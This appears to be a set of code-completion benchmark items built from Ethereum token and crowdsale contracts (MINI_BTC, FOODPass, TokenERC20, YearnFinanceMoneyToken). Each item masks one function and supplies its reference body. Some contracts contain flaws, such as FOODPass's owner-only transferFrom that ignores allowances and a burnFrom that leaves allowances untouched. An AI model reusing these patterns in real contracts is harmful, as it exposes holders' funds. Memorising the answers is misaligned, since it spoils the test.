}
}
<FILL_FUNCTION>
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousTeamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousTeamFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if(_MaxBuyEnabled){
if(sender == uniswapV2Pair && recipient != owner() && sender != owner()){
require (amount <= _maxBuy);
}
}
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap?
// also, don't get caught in a circular team event.
// also, don't swap if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToTeam(address(this).balance);
}
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
//transfer amount, it will take tax and team fee
_tokenTransfer(sender,recipient,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToTeam(uint256 amount) private {
_teamWalletAddress.transfer(amount.mul(2).div(8));
_marketingWalletAddress.transfer(amount.mul(4).div(8));
_buybackWalletAddress.transfer(amount.mul(2).div(8));
}
// We are exposing these functions to be able to manual swap and send
// in case the token is highly valued and 5M becomes too much
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToTeam(contractETHBalance);
}
function setSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function setMaxBuyEnabled(bool MaxBuyEnabled) external onlyOwner(){
_MaxBuyEnabled = MaxBuyEnabled;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _getETHBalance() public view returns(uint256 balance) {
return address(this).balance;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 25, 'taxFee should be in 1 - 25');
_taxFee = taxFee;
}
function _setTeamFee(uint256 teamFee) external onlyOwner() {
require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25');
_teamFee = teamFee;
}
function _setTeamWallet(address payable teamWalletAddress) external onlyOwner() {
_teamWalletAddress = teamWalletAddress;
}
function _setbuybackWallet(address payable buybackWalletAddress) external onlyOwner() {
_buybackWalletAddress = buybackWalletAddress;
}
function _setMarketingWallet(address payable marketingWalletAddress) external onlyOwner() {
_marketingWalletAddress = marketingWalletAddress;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 100000000000000e9 , 'maxTxAmount should be greater than 100000000000000e9');
_maxTxAmount = maxTxAmount;
}
} |
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
| function tokenFromReflection(uint256 rAmount) public view returns(uint256) | function tokenFromReflection(uint256 rAmount) public view returns(uint256) |
66551 | MINI_BTC | approveAndCall | contract MINI_BTC is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "MBTC";
name = "MINI BTC";
decimals = 1;
_totalSupply = 210000000000;
balances[0xB4797e7F063bc4Ea068eE94703B76bEAF1D63070] = _totalSupply;
emit Transfer(address(0), 0xB4797e7F063bc4Ea068eE94703B76bEAF1D63070, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract MINI_BTC is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "MBTC";
name = "MINI BTC";
decimals = 1;
_totalSupply = 210000000000;
balances[0xB4797e7F063bc4Ea068eE94703B76bEAF1D63070] = _totalSupply;
emit Transfer(address(0), 0xB4797e7F063bc4Ea068eE94703B76bEAF1D63070, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
| function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) | // ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) |
57344 | Crowdsale | Crowdsale | contract Crowdsale is Ownable {
using SafeMath for uint;
address owner;
token public tokenReward;
uint start = 1523232000;
uint period = 22;
function Crowdsale (
address addressOfTokenUsedAsReward
) public {<FILL_FUNCTION_BODY> }
modifier saleIsOn() {
require(now > start && now < start + period * 1 days);
_;
}
function sellTokens() public saleIsOn payable {
owner.transfer(msg.value);
uint price = 400;
if(now < start + (period * 1 days ).div(2))
{ price = 800;}
else if(now >= start + (period * 1 days).div(2) && now < start + (period * 1 days).div(4).mul(3))
{ price = 571;}
else if(now >= start + (period * 1 days ).div(4).mul(3) && now < start + (period * 1 days ))
{ price = 500;}
uint tokens = msg.value.mul(price);
tokenReward.transfer(msg.sender, tokens);
}
function() external payable {
sellTokens();
}
} | contract Crowdsale is Ownable {
using SafeMath for uint;
address owner;
token public tokenReward;
uint start = 1523232000;
uint period = 22;
<FILL_FUNCTION>
modifier saleIsOn() {
require(now > start && now < start + period * 1 days);
_;
}
function sellTokens() public saleIsOn payable {
owner.transfer(msg.value);
uint price = 400;
if(now < start + (period * 1 days ).div(2))
{ price = 800;}
else if(now >= start + (period * 1 days).div(2) && now < start + (period * 1 days).div(4).mul(3))
{ price = 571;}
else if(now >= start + (period * 1 days ).div(4).mul(3) && now < start + (period * 1 days ))
{ price = 500;}
uint tokens = msg.value.mul(price);
tokenReward.transfer(msg.sender, tokens);
}
function() external payable {
sellTokens();
}
} |
owner = msg.sender;
tokenReward = token(addressOfTokenUsedAsReward);
| function Crowdsale (
address addressOfTokenUsedAsReward
) public | function Crowdsale (
address addressOfTokenUsedAsReward
) public |
16627 | FOODPass | null | contract FOODPass is ERC20Interface, Ownable {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
string public name;
uint8 public decimals;
string public symbol;
uint256 public totalSupply;
uint256 public tokenDecimal = 1000000000000000000;
constructor() public {<FILL_FUNCTION_BODY> }
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) onlyOwner public returns (bool success) {
require(balances[_from] >= _value);
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function () payable public {
balances[msg.sender] += msg.value;
}
} | contract FOODPass is ERC20Interface, Ownable {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
string public name;
uint8 public decimals;
string public symbol;
uint256 public totalSupply;
uint256 public tokenDecimal = 1000000000000000000;
<FILL_FUNCTION>
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) onlyOwner public returns (bool success) {
require(balances[_from] >= _value);
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function () payable public {
balances[msg.sender] += msg.value;
}
} |
totalSupply = 3000000 * tokenDecimal;
balances[msg.sender] = totalSupply;
name = "FoodPass";
decimals = 18;
symbol = "FPASS";
| constructor() public | constructor() public |
91818 | TokenERC20 | _transfer | contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
constructor(uint256 initialSupply, string memory tokenName, string memory tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {<FILL_FUNCTION_BODY> }
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
constructor(uint256 initialSupply, string memory tokenName, string memory tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
<FILL_FUNCTION>
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} |
require(_to != address(0x0));
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
| function _transfer(address _from, address _to, uint _value) internal | function _transfer(address _from, address _to, uint _value) internal |
24734 | YearnFinanceMoneyToken | endPresale3 | contract YearnFinanceMoneyToken is StandardToken, Configurable, Ownable {
/**
* @dev enum of current crowd sale state
**/
enum Stages {
none,
presale1Start,
presale1End,
presale2Start,
presale2End,
presale3Start,
presale3End
}
Stages currentStage;
/**
* @dev constructor of CrowdsaleToken
**/
constructor() public {
currentStage = Stages.none;
balances[owner] = balances[owner].add(tokenReserve);
totalSupply_ = totalSupply_.add(tokenReserve+presale1+presale2+presale3);
remainingTokens1 = presale1;
remainingTokens2 = presale2;
remainingTokens3 = presale3;
emit Transfer(address(this), owner, tokenReserve);
}
/**
* @dev fallback function to send ether to for Presale1
**/
function () public payable {
require(msg.value > 0);
uint256 weiAmount = msg.value; // Calculate tokens to sell
uint256 tokens1 = weiAmount.mul(presale1Price).div(1 ether);
uint256 tokens2 = weiAmount.mul(presale2Price).div(1 ether);
uint256 tokens3 = weiAmount.mul(presale3Price).div(1 ether);
uint256 returnWei = 0;
if (currentStage == Stages.presale1Start)
{
require(currentStage == Stages.presale1Start);
require(remainingTokens1 > 0);
if(tokensSold1.add(tokens1) > presale1){
uint256 newTokens1 = presale1.sub(tokensSold1);
uint256 newWei1 = newTokens1.div(presale1Price).mul(1 ether);
returnWei = weiAmount.sub(newWei1);
weiAmount = newWei1;
tokens1 = newTokens1;
}
tokensSold1 = tokensSold1.add(tokens1); // Increment raised amount
remainingTokens1 = presale1.sub(tokensSold1);
if(returnWei > 0){
msg.sender.transfer(returnWei);
emit Transfer(address(this), msg.sender, returnWei);
}
balances[msg.sender] = balances[msg.sender].add(tokens1);
emit Transfer(address(this), msg.sender, tokens1);
owner.transfer(weiAmount);// Send money to owner
}
if (currentStage == Stages.presale2Start)
{
require(currentStage == Stages.presale2Start);
require(remainingTokens2 > 0);
if(tokensSold2.add(tokens2) > presale2){
uint256 newTokens2 = presale2.sub(tokensSold2);
uint256 newWei2 = newTokens2.div(presale2Price).mul(1 ether);
returnWei = weiAmount.sub(newWei2);
weiAmount = newWei2;
tokens2 = newTokens2;
}
tokensSold2 = tokensSold2.add(tokens2); // Increment raised amount
remainingTokens2 = presale2.sub(tokensSold2);
if(returnWei > 0){
msg.sender.transfer(returnWei);
emit Transfer(address(this), msg.sender, returnWei);
}
balances[msg.sender] = balances[msg.sender].add(tokens2);
emit Transfer(address(this), msg.sender, tokens2);
owner.transfer(weiAmount);// Send money to owner
}
if (currentStage == Stages.presale3Start)
{
require(currentStage == Stages.presale3Start);
require(remainingTokens3 > 0);
if(tokensSold3.add(tokens3) > presale3){
uint256 newTokens3 = presale3.sub(tokensSold3);
uint256 newWei3 = newTokens3.div(presale3Price).mul(1 ether);
returnWei = weiAmount.sub(newWei3);
weiAmount = newWei3;
tokens3 = newTokens3;
}
tokensSold3 = tokensSold3.add(tokens3); // Increment raised amount
remainingTokens3 = presale3.sub(tokensSold3);
if(returnWei > 0){
msg.sender.transfer(returnWei);
emit Transfer(address(this), msg.sender, returnWei);
}
balances[msg.sender] = balances[msg.sender].add(tokens3);
emit Transfer(address(this), msg.sender, tokens3);
owner.transfer(weiAmount);// Send money to owner
}
}
/**
/**
* @dev startPresale1 starts the public PRESALE1
**/
function startPresale1() public onlyOwner {
require(currentStage != Stages.presale1End);
currentStage = Stages.presale1Start;
}
/**
* @dev endPresale1 closes down the PRESALE1
**/
function endPresale1() internal {
currentStage = Stages.presale1End;
// Transfer any remaining tokens
if(remainingTokens1 > 0)
balances[owner] = balances[owner].add(remainingTokens1);
// transfer any remaining ETH balance in the contract to the owner
owner.transfer(address(this).balance);
}
/**
* @dev finalizePresale1 closes down the PRESALE1 and sets needed varriables
**/
function finalizePresale1() public onlyOwner {
require(currentStage != Stages.presale1End);
endPresale1();
}
/**
* @dev startPresale2 starts the public PRESALE2
**/
function startPresale2() public onlyOwner {
require(currentStage != Stages.presale2End);
currentStage = Stages.presale2Start;
}
/**
* @dev endPresale2 closes down the PRESALE2
**/
function endPresale2() internal {
currentStage = Stages.presale2End;
// Transfer any remaining tokens
if(remainingTokens2 > 0)
balances[owner] = balances[owner].add(remainingTokens2);
// transfer any remaining ETH balance in the contract to the owner
owner.transfer(address(this).balance);
}
/**
* @dev finalizePresale2 closes down the PRESALE2 and sets needed varriables
**/
function finalizePresale2() public onlyOwner {
require(currentStage != Stages.presale2End);
endPresale2();
}
function startPresale3() public onlyOwner {
require(currentStage != Stages.presale3End);
currentStage = Stages.presale3Start;
}
/**
* @dev endPresale3 closes down the PRESALE3
**/
function endPresale3() internal {<FILL_FUNCTION_BODY> }
/**
* @dev finalizePresale3 closes down the PRESALE3 and sets needed varriables
**/
function finalizePresale3() public onlyOwner {
require(currentStage != Stages.presale3End);
endPresale3();
}
function burn(uint256 _value) public returns (bool succes){
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
totalSupply_ -= _value;
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool succes){
require(balances[_from] >= _value);
require(_value <= allowed[_from][msg.sender]);
balances[_from] -= _value;
totalSupply_ -= _value;
return true;
}
} | contract YearnFinanceMoneyToken is StandardToken, Configurable, Ownable {
/**
* @dev enum of current crowd sale state
**/
enum Stages {
none,
presale1Start,
presale1End,
presale2Start,
presale2End,
presale3Start,
presale3End
}
Stages currentStage;
/**
* @dev constructor of CrowdsaleToken
**/
constructor() public {
currentStage = Stages.none;
balances[owner] = balances[owner].add(tokenReserve);
totalSupply_ = totalSupply_.add(tokenReserve+presale1+presale2+presale3);
remainingTokens1 = presale1;
remainingTokens2 = presale2;
remainingTokens3 = presale3;
emit Transfer(address(this), owner, tokenReserve);
}
/**
* @dev fallback function to send ether to for Presale1
**/
function () public payable {
require(msg.value > 0);
uint256 weiAmount = msg.value; // Calculate tokens to sell
uint256 tokens1 = weiAmount.mul(presale1Price).div(1 ether);
uint256 tokens2 = weiAmount.mul(presale2Price).div(1 ether);
uint256 tokens3 = weiAmount.mul(presale3Price).div(1 ether);
uint256 returnWei = 0;
if (currentStage == Stages.presale1Start)
{
require(currentStage == Stages.presale1Start);
require(remainingTokens1 > 0);
if(tokensSold1.add(tokens1) > presale1){
uint256 newTokens1 = presale1.sub(tokensSold1);
uint256 newWei1 = newTokens1.div(presale1Price).mul(1 ether);
returnWei = weiAmount.sub(newWei1);
weiAmount = newWei1;
tokens1 = newTokens1;
}
